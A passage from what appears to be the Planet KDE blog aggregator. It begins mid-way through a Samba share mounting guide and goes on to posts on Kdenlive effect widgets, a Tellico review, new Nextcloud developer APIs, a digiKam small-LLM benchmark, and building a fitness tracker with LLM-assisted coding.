sudo mount -t cifs //192.168.122.202/linux_smbshare /media/192_168_122_202_linux_smbshare \
-o username=sadmin,uid=administrator,gid=administrator
sudo umount /media/192_168_122_202_linux_smbshare
# With file with SMB username and password.
# As the user administrator.
cat /home/administrator/.smbcredentials
username=sadmin
password=pass123
EOF
sudo mount -t cifs //192.168.122.202/linux_smbshare /media/192_168_122_202_linux_smbshare \
-o uid=administrator,gid=administrator,credentials=/home/administrator/.smbcredentials
sudo mount /media/192_168_122_202_linux_smbshare
sudo umount /media/192_168_122_202_linux_smbshare
Append to /etc/fstab the line:
//192.168.122.202/linux_smbshare /media/192_168_122_202_linux_smbshare cifs noauto,uid=administrator,gid=administrator,credentials=/home/administrator/.smbcredentials 0 0
Note that "//192.168.122.202/linux_smbshare" will not be mounted automatically because of "noauto" in /etc/fstab.
Each time you reboot your Samba client computer and want to use the shared directory, run:
sudo mount /media/192_168_122_202_linux_smbshare
Advantages: if the Samba server is down or configured incorrectly or if the network connection between Samba server computer and Samba client computer is not great. The Samba client computer will not be affected.
3.I test the KDE app smb4k
https://apps.kde.org/smb4k is a KDE GUI app that acts as an SMB client. It can list SMB servers available on the LAN. It can determine the "SMB domain" of a computer. It can get the list of shared directories. It can list the contents of shared directories. It can mount a shared directory using "mount.cifs".
kde-builder smb4k
kde-builder --run smb4k
I have encountered some issues:
A. If server is Kubuntu 26.04, smb4k cannot get the list of shares of the SMB server. https://invent.kde.org/network/smb4k/-/merge_requests/24
This is because "ping ASERVER" does not work, but "ping ASERVER.local" works correctly.
B. In smb4k when hovering on top of a SMB server, a tooltip is shown that says "Workgroup: LOCAL" instead of "Domain: WORKGROUP".
From the command line, we can get the correct "SMB domain" for an SMB server:
$ rpcclient -U % -c "lsaquery" 192.168.122.202
Domain Name: WORKGROUP
Domain Sid: (NULL SID)
A fix for this issue is more complicated because each time dnssd/kdnssd notifies smb4k that an SMB server named A exists on the LAN. smb4k should decide if this computer was received previously. If not, smb4k should run the command line above and get the "actualDomain" from the STDOUT of the process. Bonus points if getting the correct SMB domain is non blocking, creates at most 5 "rpcclient" sub processes at the same time.
19 Aug 2026 6:07pm GMT
GSoC 2026 Wrap-up
Improving Effect Widgets for Kdenlive
Organization: KDE Community
Project: Kdenlive
Contributor: Yash Bavadiya (@xevrion)
Mentor: Jean-Baptiste Mardelle (@mardelle)
Reviewers: Julius Künzel (@jlskuz), Bernd Jordan (@bjordan)
This is the final post for my Google Summer of Code 2026 project with KDE. Full weekly detail is linked at the bottom; this one's the complete summary.
Contents
- Project overview
- Project status
- Pre-GSoC work
- Coding-period deliverables
- Challenges
- Future work
- Acknowledgements
- All the weekly posts
Project overview
Kdenlive's effect system exposes powerful underlying libraries (libavfilter, MLT) through custom Qt widgets in the effect panel. Three of those widgets had real, longstanding usability gaps: the Curves effect needed the same filter applied three separate times for independent RGB channel control, the Gradient Map effect only supported two fixed color stops when the underlying MLT filter supports up to 32, and the Time Remapping panel had no way to ease speed changes, every transition was abrupt.
The goal of this project was to rebuild all three as proper, well-tested widgets, backed by the correct underlying data formats, with full backward compatibility for existing project files.
Project status
The project is fully complete. All three proposed widgets are merged into Kdenlive's master branch:
- Curves (!887), merged, shipping in Kdenlive 26.08
- Gradient Map (!911), merged (JB merged manually after a GitLab auto-merge issue, shows as "Closed" in the MR list but the code landed with commit
b0b678c6) - Speed Ramp (!928), merged
One follow-up item remains open: a bug found during Speed Ramp review, where keyframe interpolation types are lost when a clip is resized, was traced to ClipModel::requestRemapResize() in the timeline model, outside this project's original scope. My mentor asked for this as a separate follow-up MR rather than folding it into !928, since it touches unfamiliar timeline code with roughly 15 mutation sites needing updates. That fix is in progress.
Pre-GSoC work
Before the coding period began (community bonding ran April 30 to May 24), I landed twelve merged contributions to Kdenlive, mostly while getting familiar with the codebase and building trust with the maintainers:
- !824: added missing HD-ready (1366×768) project profiles at standard frame rates
- !827: fixed duplicate profiles appearing in the New Project dialog, root cause was two compounding bugs, MLT shipping spec-duplicate profile files, and
refresh()being called twice, breaking naive deduplication - !826: added common video/audio/image MIME types to the desktop file, so Kdenlive appears as an option in file manager "open with" menus
- !831: added configurable clip type colors (video, audio, title, image, slideshow) to the Colors and Markers settings page
- !835: fixed broken tab order in the Render dialog
- !837: added an "Identify Gaps" feature to the Timeline menu, detecting empty spans across all video tracks and placing guide markers, went through several rounds of feedback from Eugen Mohr and Bernd Jordan
- !853: added a warning before deleting tracks that contain clips
- !857: added tests for guide position preservation across fps changes
- !858: detect embedded subtitle streams and display the count in clip properties
- !859: snap the playhead to snap points when dragging in the ruler
- !874: added a "return playhead to start position on stop" setting
- websites/planet-kde-org!292: added this blog to Planet KDE
This is also where I learned the project's review culture firsthand, small, focused MRs, clear commit messages, and genuine back-and-forth before merge, which set the tone for everything that followed.
Coding-period deliverables
1. Curves widget
Replaced a single shared curve control with per-channel tabs (All, R, G, B) for the avfilter.curves effect. Previously, independent per-channel adjustment required applying the effect three separate times.
What changed:
- Each channel is a separate
av_curveXML parameter, so the model stores per-channel state directly rather than in a widget-side cache. This went through a real architecture revision: my first version combined all channels into one compound parameter, JB pointed out this would be hard to extend later, and I refactored to separate parameters per his suggestion, closer to howm_mainKeyframeWidgetalready worked elsewhere in the codebase - Fixed a libavfilter segfault triggered by control points placed too close together on the x-axis, replaced an initial reject-the-update guard with point snapping, per Bernd Jordan's suggestion that silently rejecting user input would be confusing
- Removed an inherited 5-point limit that only applied to
frei0r.curves, not the newavfilter.curvespath - Added optional per-channel colors, a reset button scoped to the active channel, editable input/output spinboxes for the selected point, and a GIMP-style ghost overlay showing other edited channels
- 48 unit tests in
tests/avcurvetest.cpp
2. Gradient Map widget
MR !911, closing #1064, relating to #2206
Replaced a fixed two-color-stop gradient control with a draggable multi-stop editor for the gradientmap MLT filter, which already supported up to 32 stops via stop.N parameters, the UI just never exposed them.
What changed, including a real architecture pivot:
- First version was a fully custom-painted widget, add/remove/drag stops, min 2 max 32, live
QLinearGradientpreview - Julius Künzel suggested looking at the Qt-Color-Widgets library for design inspiration, with an eye toward eventual KDE Frameworks upstreaming. I initially wired in the actual vendored library as a dependency
- JB and Julius reviewed that approach and decided against it, Kdenlive shouldn't depend on another external library. The direction became: reimplement the specific behaviors as original code, using the library only as a UX reference, not a dependency
- Reverted the vendor linkage, restored the original from-scratch widget, and added the missing pieces (alpha-channel checkerboard preview, native
QStyleframe styling) as new, independently-written code - During review, JB found the gradient rendering as a flat, empty rectangle under Breeze's style, root cause was draw order, the native frame primitive was painting its interior background after the gradient fill. Fixed by drawing the frame first, then the gradient inside its content rect
- Added a model-layer 32-stop cap (independent of the widget-level cap, so a hand-edited project file can't bypass it), fixed a barely-visible handle on dark stops, and added an RGBA hover tooltip
- A known limitation surfaced late in review: MLT's
gradientmapfilter doesn't actually support alpha in its gradients, an upstream MLT issue, not a bug in this widget. JB merged anyway to make the 26.08 window, tracked as a pre-26.08.0 fix - 8 unit tests, expanded to full widget-interaction coverage, 27 assertions total
3. Speed Ramp widget
MR !928, relating to #2188 and #1454
Added per-keyframe interpolation types to the Time Remapping panel, so speed changes can ease in and out instead of switching abruptly at every keyframe boundary, plus a curve band showing the actual interpolated shape.
What changed, including the biggest scope revision of the summer:
- The original proposal described free-draggable bezier handles on the remap timeline. Investigation before writing any code found that MLT has no bezier keyframe type to serialize a time map into, only preset easing types
- Checked with JB, free bezier handles in MLT had already been investigated years earlier and found difficult to integrate. Direction became: reuse Kdenlive's existing keyframe type system (the same one used for volume, brightness, and other effects) instead of inventing something new
- Found
KeyframeCurveEditor, an existing widget that samples MLT's true interpolated value per pixel and draws it in a plainQWidget, as the reference pattern - Verified empirically, with a standalone C test program against the real MLT build, that non-linear keyframe types are genuinely honored during playback, not just valid syntax, and found a real gotcha: the type suffix must be on the segment's starting keyframe, not the ending one, or it's silently treated as linear
- Implemented per-keyframe type storage, MLT-native serialization via
anim_set/serialize_cut, a per-pixel sampled curve, and a type selector, four clean commits - Julius and Bernd raised real usability concerns after testing: the UI mixes time remapping (position-based) and speed keyframing (rate-based) as mental models, without making the distinction clear. JB proposed a longer-term fix, splitting Time Remap and Speed Ramp into two distinct UI modes using MLT's
speed_mapparameter. Scoped this with JB directly: implemented the two smaller, well-defined pieces immediately (expanding the type list from a curated 4 to the full 13, moving the selector into the toolbar), and opened issue #2231 to track the larger mode split as a post-GSoC follow-up - While implementing the type-list expansion, found and corrected an assumption from the earlier review discussion: tested directly against MLT and confirmed the old pre-selector behavior serialized as linear, not "discrete" as had been suggested, Discrete is a genuinely different freeze-then-jump behavior
- JB later reported a resize bug, keyframe types lost when a clip is resized. Traced the root cause through two incorrect hypotheses (each one investigated with real evidence and honestly ruled out) before finding it:
ClipModel::requestRemapResize(), timeline-side code outside this MR's original files, flattens thetime_mapstring during resize without preserving type suffixes. Scoped as a separate follow-up MR per JB's request
Also merged during GSoC
!878: added a "Duplicate Clip" action to the timeline (Ctrl+D, right-click menu), addressing a long-standing feature request (bug 435319). Not one of the three proposal widgets, but real merged work from the same period. During review, JB found and removed two stray method declarations left over from a rebase error, a good reminder to double check rebase output carefully.
Challenges
The recurring theme this summer was discovering, partway through implementation, that an assumption baked into the original plan didn't hold, and needing to change direction with a mentor rather than push forward regardless.
The Gradient widget's dependency pivot is the clearest example: a reviewer's suggestion to look at an external library led to actually wiring it in, before the maintainers weighed the tradeoffs and decided against the dependency entirely. The Speed Ramp widget had a similar moment at a lower level, discovering MLT genuinely couldn't support the originally proposed bezier-handle design, verified with a real test program rather than assumed.
The most useful habit that came out of this was treating claims, my own included, as things to verify rather than trust. The Speed Ramp resize bug took three separate investigation passes to actually locate, the first two hypotheses were reasonable but wrong, and each was only ruled out by tracing the actual call sites and reproducing the bug directly rather than reasoning about it abstractly. The bug was eventually found in code outside the original three files this project touched.
Future work
requestRemapResizefix: the resize bug described above, scoped as its own MR, in progress- Time Remap / Speed Ramp mode split: tracked in #2231, a larger UI rework splitting position-based and rate-based remapping into two distinct modes, deferred by mutual agreement with JB given the time remaining
- MLT gradientmap alpha support: the upstream MLT limitation flagged during Gradient widget review, needs a fix or an explicit UI restriction before Kdenlive 26.08.0 final
None of these block the core functionality already merged. All three proposed widgets are in master and working.
Acknowledgements
Thanks to Jean-Baptiste Mardelle, my mentor, for consistently thorough review across all three widgets and for being willing to change direction, twice, on real architectural questions, when new information came up, rather than defending an earlier decision for its own sake. Thanks to Julius Künzel for the UX instincts that reshaped the Gradient and Speed Ramp widgets for the better, and to Bernd Jordan for close, careful review on every MR and for sketching out concrete alternatives when something wasn't working. Genuinely a great summer.
All the weekly posts
- Goals for GSoC 2026
- Week 1: Coding Begins
- Week 1: Tabs are in
- Week 2: Refactor and Review
- Week 3: Reviewer Feedback and Fixes
- Week 4: Channel Colors, Reset, Point Values, and Ghost Curves
- Week 5: Curves Merged, Gradient Widget Begins
- Week 6: Gradient Widget Wired to Qt-Color-Widgets
- Week 7: Gradient Widget Review Fixes
- Week 8: Gradient Widget Merged, Speed Ramp Begins
- Week 9 & 10: Speed Ramp Implementation, MR Opened
- Week 11: Review Feedback, a Correction, and What's Deferred
Full status report and week-by-week technical detail also on the KDE Community Wiki.
19 Aug 2026 5:51pm GMT
Linux Magazine Reviews Tellico
Linux Magazine discusses Tellico in their September 2026 issue, in an article titled Let's Collect, which covers Tellico, Recoll, Asunder, and Picard, among others.
In this article we're looking at Linux applications that you may want to try out if you already have a collection of physical books, ebooks, CDs, or other media, or are just starting to collect. You can create a catalog that stores metadata of your collection items, index ebooks to make their content searchable, and rip CDs so that you can play them on the computer, too.
The author, Hans-Georg Eßer, favorably mentions saving separate collection files for each type (books, coins, discs, etc.) which is nice. He does directly mention the Internet Search dialog, so I'm glad to see that the UI adjustments were effective. He even goes as far as showing fetch results from three different sources in the screenshot! The capability to drag an image into the Entry Editor was noted, which I appreciate. An extended section covered importing from CSV, which does seem to be functionality that just about every user needs at some point. His explanation of the process is much better than mine.
One of the gotchas that the article mentions is the .tc file extension was not automatically added to the saved file name. I suspect the author might not have been using the Plasma-desktop, or at least, not the KDE file integration, since the save dialog is supposed to have an option to do just that. So for the next release, I'll automatically append .tc if there is no extension selected. That issue has popped up in other reviews, too.
Linux Magazine has mentioned Tellico a few other time, including June 2025 and as far back as August 2005.
19 Aug 2026 12:54pm GMT
18 Aug 2026
Planet KDE | English
Modern, Stable APIs for Your Nextcloud Application
Nextcloud provides a large public PHP interface to developers to use for building their application. It is commonly called OCP. Some of big components of OCP are the HTTP stack with IRequest, Response and Controllerto handle requests, the IQueryBuilder/IDBConnection to query the database and many feature oriented components and utilities.
Outside of OCP, applications can also use a lot of private APIs and 3rd party libraries included by Nextcloud, but these don't have the same stability guarantees as the official public interface.
With Nextcloud Hub 26 Summer (35.0.0), there are 3 big changes coming to the OCP API. The first two are that we are now providing a public API for the Symfony Console component and the Doctrine database schema abstraction. The first one is required when wanting to extend the Nextcloud command line tool occ and the second one is used to create database migrations. Both are very important but would break every app every time we would update the dependencies, which is forcing us to keep older versions of these dependencies (thankfully older versions are still maintained).
Declaring Commands with #[AsCommand]
To replace the first one, we added a new family of PHP attributes and interfaces. Instead of inheriting from OC\Core\Command\Base to implement a command, you can now use a simple PHP invokable class and annotate it with the #[AsCommand] (link) attribute as follows.
#[AsCommand(
name: 'app:create-user',
description: 'Creates a new user.',
help: 'This command allows you to create a user...',
usages: ['bob', 'alice --as-admin'],
)]
class CreateUserCommand {
public function __invoke(): ExitCode {
// ...
return ExitCode::Success;
}
}
Options and arguments for your commands can be defined declaratively in the __invoke method parameters.
The parameter's type and default value decide whether the argument or option is required, repeatable, or a flag.
#[AsCommand(name: 'app:user:created')]
class CreateUserCommand {
public function __invoke(
#[Argument(description: "The username of the user")]
string $userId,
#[Option(description: "Force the creation")]
bool $force = false,
): ExitCode {
// ...
return ExitCode::Success;
}
}
Additionally it is possible to inject IOutput and IInput in the __invoke method parameters to be able to ask questions; print texts, progress bars and tables.
This new API doesn't replace the existing private API, which is still available, but using it allows you to improve the coverage of the static analyser as stubs for these commands are available in the nextcloud/ocp package and this will prevent you from API breakage when using the Symfony Console API directly.
Manipulating SQL Tables with OCP\DB\Schema
This is actually a small breaking change, but for the schema migration, ISchemaWrapper won't return Doctrine\DBAL types anymore but instead our own wrapper in OCP\DB\Schema.
The wrapper has essentially the same API as the doctrine implementation so the breaking change should be minimal. But there are a few cases which won't work anymore, for example:
- Type hinting methods with a DBAL type where the type needs to be replaced with the new
OCPtype or use a union type if you want to support multiple versions. Type::lookupName($column->getType())->$column->getType()->getName()
Fortunately all these issues should be found quite easily by installing your application, which should be the case when running your unit tests. Grepping for DBAL and running psalm/phpstan should also help find the issues.
Introducing the Nextcloud ORM
The third big change is the addition of a simple ORM to Nextcloud: OCP\AppFramework\ORM.
This allows you to define an easy mapping between your database tables and PHP objects by using PHP attributes. This can be used for simple tables.
<?php
use OCP\AppFramework\ORM\Attribute\Column;
use OCP\AppFramework\ORM\Attribute\Entity;
use OCP\AppFramework\ORM\Attribute\Id;
use OCP\DB\Schema\ColumnType;
#[Entity(name: 'twofactor_backupcodes')]
final class BackupCode {
#[Id]
#[Column(name: 'id', type: ColumnType::Integer, nullable: false)]
public ?int $id = null;
#[Column(name: 'user_id', type: ColumnType::String, length: 64, nullable: false)]
public string $userId;
#[Column(name: 'code', type: ColumnType::String, length: 128, nullable: false)]
public string $code;
#[Column(name: 'used', type: ColumnType::Smallint, nullable: false, default: 0)]
public int $used = 0;
}
Which can then be fetched by using a Repository which provides convenient utilities to fetch, delete, update or insert entries in the database.
<?php
class BackupCodeRepository extends Repository {
public const string entityClass = BackupCode::class;
/**
* @return \Generator<BackupCode>
*/
public function findByUser(IUser $user): \Generator {
return $this->findBy([
'userId' => $user->getUID(),
]);
}
public function deleteByUser(IUser $user): void {
$this->deleteBy([
'userId' => $user->getUID(),
]);
}
}
$backupCodeRepo = Server::get(BackupCodeRepository::class);
$backupCode = new BackupCode();
$backupCode->userId = 'admin';
$backupCode->code = 'secret';
$backupCode = $backupCodeRepo->insert($backupCode);
$backupCode->code = 'new-code';
$backupCodeRepo->update($backupCode);
$adminCodes = $backupCodeRepo->findBy(['userId' => 'admin']);
$backupCodeRepo->delete($backupCode);
The ORM also supports mapping simple relationships between tables. For example, to define a relation between a customer and a cart where each cart has a customer and each customer has a cart, you can use the following annotated PHP classes. In the background, Nextcloud will create a SQL query with a JOIN automatically to fetch all the information in one query.
#[Entity(name: 'repository_customer')]
final class Customer {
#[Id]
#[Column(name: 'id', type: ColumnType::Bigint)]
public ?int $id = null;
#[OneToOne(targetEntity: Cart::class, mappedBy: 'customer')]
#[JoinColumn(name: 'cart_id', referencedColumnName: 'id')]
public ?Cart $cart = null;
#[Column(name: 'name', type: ColumnType::String, nullable: false)]
public string $name;
}
#[Entity(name: 'repository_cart')]
final class Cart {
#[Id]
#[Column(name: 'id', type: ColumnType::Bigint)]
public ?int $id = null;
#[OneToOne(targetEntity: Customer::class, invertedBy: 'cart')]
#[JoinColumn(name: 'customer_id', referencedColumnName: 'id')]
public ?Customer $customer = null;
}
For now, this only supports OneToOne and ManyToOne relationships between classes, with OneToMany and ManyToMany still missing.
A good example how this simplifies the code is this pull request porting the oauth2 app to this entity system.
Improved HTTP dispatcher
The HTTP dispatcher which takes care of calling the correct controller method now does various levels of input sanitization based on the PHPDoc comments. This means you can now write the following and have some guarantees about some of your variables:
<?php
class MyController extends OCSController {
/**
* @param non-empty-string $search
* @param positive-int $limit Maximum number of results to return
* @param non-negative-int $offset Offset for searching
* @return DataResponse<Http::STATUS_OK, list<CoreAutocompleteResult>, array{Link?: string}>
*
* 200: Autocomplete results returned
*/
#[NoAdminRequired]
#[ApiRoute(verb: 'GET', url: '/autocomplete/get', root: '/core')]
public function autocomplete(string $search, int $limit = 10, int $offset = 0): DataResponse {
// $search is now guaranteed to be non empty
// $limit is now guaranteed to be > 0
// $offset is now guaranteed to be >= 0
...
}
}
You can also inject backed enums and the values for this parameter will be restricted to one of the enum values.
<?php
enum GrantType: string {
case AuthorizationCode = 'authorization_code';
case RefreshToken = 'refresh_token';
}
class MyController extends OCSController {
#[PublicPage]
public function getToken(
GrantType $grant_type, ?string $code, ?string $refresh_token,
?string $client_id, ?string $client_secret,
): JSONResponse {
...
}
}
These two changes make it easier for you to ensure your APIs are secure by default!
Other Small Changes
-
We now expose the PHP polyfill in the
nextcloud/ocpwhich makes it easier for the tooling to pick them up. For example, you can now use the PHP 8.6\SortDirectionenum in your applications while PHP 8.6 is not even out yet. And we also added support for this enum in theIQueryBuilder::addOrderBymethod. -
OCP\DB\ColumnTypeas a modern enum replacement for theOCP\DB\Typeswhich is a proper PHP enum and not a class with public constants.
What Is Coming Next?
In the next releases, I want to make Data Transfer Objects (DTO) even more powerful in Nextcloud. The new Entity classes are good examples of DTOs, as they are used to transfer data. What is still missing is a good strategy to serialize/deserialize them to JSON (and other formats) and also to validate them.
For this goal, we would want to wrap the already existing components from Symfony and just provide our own attributes. For reference, here's what this looks like in Symfony, and what I'd really like to see in Nextcloud at some point.
use Symfony\Component\Validator\Constraints as Assert;
use Symfony\Component\Serializer\Attribute\Ignore;
use Symfony\Component\Serializer\Attribute\Context;
use Symfony\Component\Serializer\Normalizer\DateTimeNormalizer;
class Author {
#[Assert\Email(
message: 'The email {{ value }} is not a valid email.',
)]
protected string $email;
#[Context([DateTimeNormalizer::FORMAT_KEY => 'Y-m-d'])]
public \DateTimeImmutable $createdAt;
#[Ignore]
public function isPotentiallySpamUser(): bool { ... }
}
18 Aug 2026 12:00am GMT
17 Aug 2026
Planet KDE | English
Bigger Wasn’t Better: Benchmarking Small Models for digiKam’s Natural Language Search
GSoC 2026 • digiKam • Post 3: The Benchmark, and the Fine-Tuning Decision
At the end of my last post I promised a comparison: Qwen2.5 against TinyLlama on real digiKam queries. This is that post. It grew a third model along the way, and the result surprised me enough that I want to walk through it honestly, because the tidy expectation I started with turned out to be wrong.
If you're just joining: in the first post I introduced the goal - bringing natural-language search to digiKam, so you can find photos by describing them in plain English instead of filling in an advanced-search form. In the second post I walked through actually wiring a local LLM into a desktop app, and the lesson that surprised me: the model was the small part, and the pipeline around it: the prompt, the parser, the dictionary that catches ambiguity, did most of the real work. This post picks up the thread I left there: is the model I chose actually the right one?
The question underneath all of this is a practical one. digiKam's natural language search runs a local, quantized model on the user's own machine, no cloud, no API, your photos and your queries never leave your computer. That constraint is the whole point of the feature, and it's also what makes model choice hard. You can't just reach for the biggest, best model; it has to load and run on an ordinary laptop, next to digiKam itself, fast enough that a search doesn't feel broken. So the real question isn't "which model is best," it's "which model is the right balance for this job."
I'd been running Qwen2.5-1.5B this whole time because it felt right. This post is me actually checking.
What I measured, and how
I built a small benchmark harness. It lives in core/tests/llm/, it's a standalone Python script, and it does three things for every query: measures latency, measures peak memory, and scores structured-output accuracy, whether the model produced the correct search constraints.
The one thing I cared about most was fidelity: the benchmark had to test the real pipeline, not a convenient approximation of it. So it uses the exact prompt digiKam sends, transcribed straight from SearchPromptBuilder, and it feeds the model the same way the C++ backend does, as a raw prompt with no chat-template wrapping. If the benchmark and the app disagreed on how they talked to the model, the numbers would be fiction.
The test set is about 40 hand-labelled queries. Each one pairs a plain-English request with the constraints it should produce: "photos from 2023 rated 5 stars" should give a date range and a rating. I scored at the level of the model's raw intent, before the resolver's later cleanup steps, because I wanted to measure the model, not the pipeline wrapped around it.
Which brings me to the first thing I got wrong.
The benchmark caught my own mistakes first
My first run scored Qwen at 66%. I almost believed it.
Then I read the failures, and most of them weren't the model. They were me, in the labels. I'd written that "pictures tagged sunset" should produce tag with the operator contains; the model produced eq; and when I checked the actual code, digiKam's tag matching ignores the operator entirely and looks the tag up by name. So the model was right, my expected answer was wrong, and my benchmark was confidently marking a correct output as a failure.
There were a handful like that. A caption operator I'd mislabelled. And a latency problem that turned out to be the harness, not the model: I was letting the model generate all the way to its token limit, when the real backend stops the moment it has a complete JSON object. The model had been producing a correct answer and then rambling on past it; the app already knew to stop reading, and my benchmark had forgotten to. It was the same "knowing when to shut up" issue from last post, except this time the mistake was mine, in the harness. Once I fixed it to stop at the first complete object the way the backend does, median latency dropped from about 15 seconds to under 2.
I'm telling you this because it's the most important thing the benchmark did. Before it could measure the model, it measured my assumptions, and several of them were wrong. A benchmark that only ever confirms what you expected isn't measuring anything. The 66% was noise; the real signal was underneath, once I stopped trusting my own labels and started checking them against what the code actually does.
The honest Qwen2.5-1.5B number, after fixing my labels, is about 85%.
The three-way comparison
I benchmarked three models, all as Q4_K_M quantized GGUFs so the comparison is fair, all getting the identical prompt:
- TinyLlama-1.1B, the lightweight baseline.
- Qwen2.5-1.5B, the model I'd been using.
- Qwen2.5-3B, added because I wanted to know: would a bigger model be better?
Here's what came back:
| Model | Constraint accuracy | Median latency | Peak RAM |
|---|---|---|---|
| TinyLlama-1.1B | 18% | ~6.4s | ~1.3 GB |
| Qwen2.5-1.5B | 85% | ~2.3s | ~2.0 GB |
| Qwen2.5-3B | 79% | ~29s | ~3.5 GB |
I sat with that middle-and-bottom row for a while, because it's not what I expected.

TinyLlama can't do the job
At 18%, TinyLlama isn't close. And it's not failing gracefully, it's failing weirdly. It invents field names. It puts typos in values ("accpeted"). In several queries it copied the schema template literally into its output, the null | { ... } placeholder and all, producing JSON that doesn't parse. It's a small model being asked to do something structured, and it mostly can't hold the shape.
The pattern makes sense once you think about capacity. With only 1.1B parameters, TinyLlama doesn't have enough of a grip on the instruction to commit to one clean answer, so it hedges by generating more - more tokens, more variations, more noise. That also explains the thing I'd assumed wrong: I expected it to at least be faster, and it wasn't. It was slower than the 1.5B model, precisely because it rambles; it doesn't know when to stop, so it burns tokens generating garbage after the answer. Smaller model, worse latency, far worse accuracy. There's no axis on which it wins.
And bigger didn't help
This is the row I keep coming back to. I added Qwen2.5-3B expecting it to be the accuracy ceiling, the "here's what you get if you're willing to pay for it" option. Instead it scored lower than the 1.5B model, 79% against 85%, and it did it while taking thirteen times longer per query and using most of another gigabyte and a half of RAM.
The accuracy drop surprised me until I read the failures. The 3B model over-thinks simple structured tasks. On queries the 1.5B got right cleanly, the larger model would elaborate, add an extra constraint, reformat, second-guess, and break the exact match in the process. It even fumbled a couple of person queries the smaller model handled without blinking. More capacity, spent making a simple task complicated.
And the latency alone disqualifies it. A median of 29 seconds, with the first query taking 73, is simply not something you can put behind an interactive search box. Nobody types "red label photos" and waits half a minute. Even if the 3B had been more accurate, this number would have ended the discussion.
So the comparison brackets the choice from both sides. Too small can't do it. Too big is slower, heavier, and no better, sometimes worse. The 1.5B model sits in the middle and wins on the two things that actually matter together: accuracy and speed. It's not a compromise between them; it's genuinely the best on both among viable options.
Where Qwen still gets things wrong
85% isn't 100%, and the 15% is worth looking at, because it decided the next question.
Qwen's errors aren't scattered. They cluster, tightly, in two places. Orientation: it reads "portrait" as a subject tag rather than an image orientation, and it doesn't map "horizontally" to "landscape." And date structure: occasionally it uses the wrong operator on a date range. That's essentially it. Everything else, ratings, labels, people, places, albums, composite queries with three constraints at once, it handles reliably.
And here's the thing I already knew before the benchmark, now confirmed with numbers: those exact weak spots are the ones the pipeline already handles. Take the "portrait" slip. The model tags it as a subject; but SearchCapabilityDictionary recognises "portrait" as an ambiguous orientation term and maps it to the right field, and SearchIntentResolver validates the whole constraint before anything runs. The model's mistake never reaches the search. The model's blind spots and the pipeline's safety net line up almost perfectly, which is a good sign that the pipeline was built around the right risks.
The question I actually had to answer: fine-tune or not?
My proposal left a decision open for this stage. If the benchmark turned up a recurring class of errors that prompting couldn't fix, I'd spend the time on a lightweight LoRA fine-tune, curate a dataset, train an adapter on Qwen2.5-1.5B, convert it back to GGUF, and re-benchmark. If prompting was already good enough, I'd document that and spend the time on polish instead.
The 3B result is what settled it, and settled it more cleanly than I expected.
The residual errors, orientation and dates, are the same in the 3B model as in the 1.5B. Doubling the parameters didn't fix them. That tells me something specific: these aren't a capacity problem. If they were, a bigger model would have done better on exactly these cases, and it didn't. They're a prompting and vocabulary problem, "portrait" is genuinely ambiguous, "horizontally" is genuinely non-standard, and the fix for that kind of thing is a clearer prompt and a dictionary entry, not more model.
And I already have both. The prompt rules and the dictionary already catch these cases downstream in the real system. So a LoRA would be training a model to fix errors that a bigger model also makes, that aren't about model size, and that the pipeline already handles.
There's a second cost, too, beyond the missing benefit. A fine-tune isn't free to keep. It means maintaining a curated training set, retraining every time the base model updates, and re-running the GGUF conversion each time, real ongoing overhead for the project. For a problem that a prompt line and a dictionary entry already solve, that complexity isn't justified.
So: no fine-tuning. Not because I ran out of time, but because the evidence says it wouldn't help. That feels like the right kind of conclusion to reach, the one backed by the data rather than the one I assumed going in.
One more thing the benchmark showed
There's a category of query where every model, including Qwen, "fails" on paper, and I want to be clear about why that's fine.
Ask any of these models, on their own, to handle "videos longer than 5 minutes" (a field digiKam's search didn't support at the time) or "asdfghjkl" (nonsense), and they guess. They invent a constraint. The raw model does not know how to say "I can't do that", small models are famously bad at refusing, and I wrote about that in the last post too.
But in the actual system, the model never gets the last word. The parser whitelists every field, so an invented field is rejected, not executed. The dictionary flags ambiguity. The model proposing something wrong and the system accepting it are two different events, and the whole architecture exists to keep the second one from happening. The benchmark scoring these as model-level failures is correct, and it's also exactly why the layers around the model are there. A model you can't fully trust is fine, as long as nothing downstream trusts it blindly.
Key takeaways
- The middle model won. For structured extraction on a CPU, 1.5B was the sweet spot: too-small couldn't hold the format, too-big was slower and no more accurate. Bigger is not automatically better.
- Check your benchmark before you trust it. My first run scored 66%; most of the failures were wrong labels of mine, not model errors. A benchmark measures your assumptions first.
- Match the app exactly. Same prompt, same raw inference, same stop condition. A benchmark that talks to the model differently from the app is measuring a different system.
- The errors that remain aren't a capacity problem. A 2x-larger model made the same orientation and date mistakes, which is how I know they're prompting issues, already handled, and not something fine-tuning would fix.
- No LoRA, on purpose. The decision my proposal left open is now closed by evidence: prompting plus the dictionary is sufficient, and the benchmark data says so.
Where things stand
The model choice is validated, with numbers behind it now instead of a hunch. The benchmark is in the tree at core/tests/llm/, with the dataset, a runner script, and a results write-up, so anyone can reproduce it or extend it with new queries. To run it yourself, see the README there. It's the kind of thing the next person to touch this feature will be glad exists, which is the whole reason it's committed rather than living in a notebook on my laptop.
What's next
- More search properties. Video duration, frame rate, bitrate, and file format, the fields the model didn't map yet. (I've since started adding these, and they extend the same way every existing field did: a prompt rule, a dictionary entry, a parser whitelist, and a branch that writes the search field.)
- User documentation. A natural-language-search section for the digiKam handbook, so the feature is discoverable by the people it's actually for.
- Polish and merge. Readying the branch for the 9.2.0 release, so this can go out to real users for beta testing.
17 Aug 2026 12:00am GMT
16 Aug 2026
Planet KDE | English
Vibing fitness tracking
LLM assisted development, vibing, agentic coding - many names for the same thing. The technology has taken huge strides forward and it is interesting to see what it can do. In my mind, one-offs where a solved problem a while ago, and thin vertical applications without too much complexity is another one. To test the last hypothesis, I set out to create a fitness tracker app. Not a Strava competitor, but something that can track weight and other body measurements and correlate it to events (parties, dinners, etc), medication, and the cycle (if the user is a woman).
I decided to go with Claude from Anthropic and their smallest paid plan. The first prompt and some forth and back on the details of the grand plan rendered the first version after four hours spread out over two evenings. Then, after a weeks usage, another hour or so spent on polish.
This means that ~6h in total gave me a usable SPA that can be "installed" to a phone. The thing runs on a VPS under gunicorn and nginx. Frontend is React and backend in Django. Notice that I know nothing of React and some about Django.
So, what are the conclusions? This puts the fun back in development for me. Instead of spending hours fiddling with CSS and other things I'm not comfortable with, I can knock something out. At the same time, I still know enough to be opinionated on the output of the LLM. What it does is that I go and build my small ideas that sit at the back of my mind, instead of having them collecting dust.
In my experience, a framework such as Django does help, as it provides scaffolding and best practices for a lot of things. Also, enforcing a rich collection of tets is helpful (I have 151 frontend tests, 218 backend tests, and a whole bunch of end-to-end tests run using playwright).
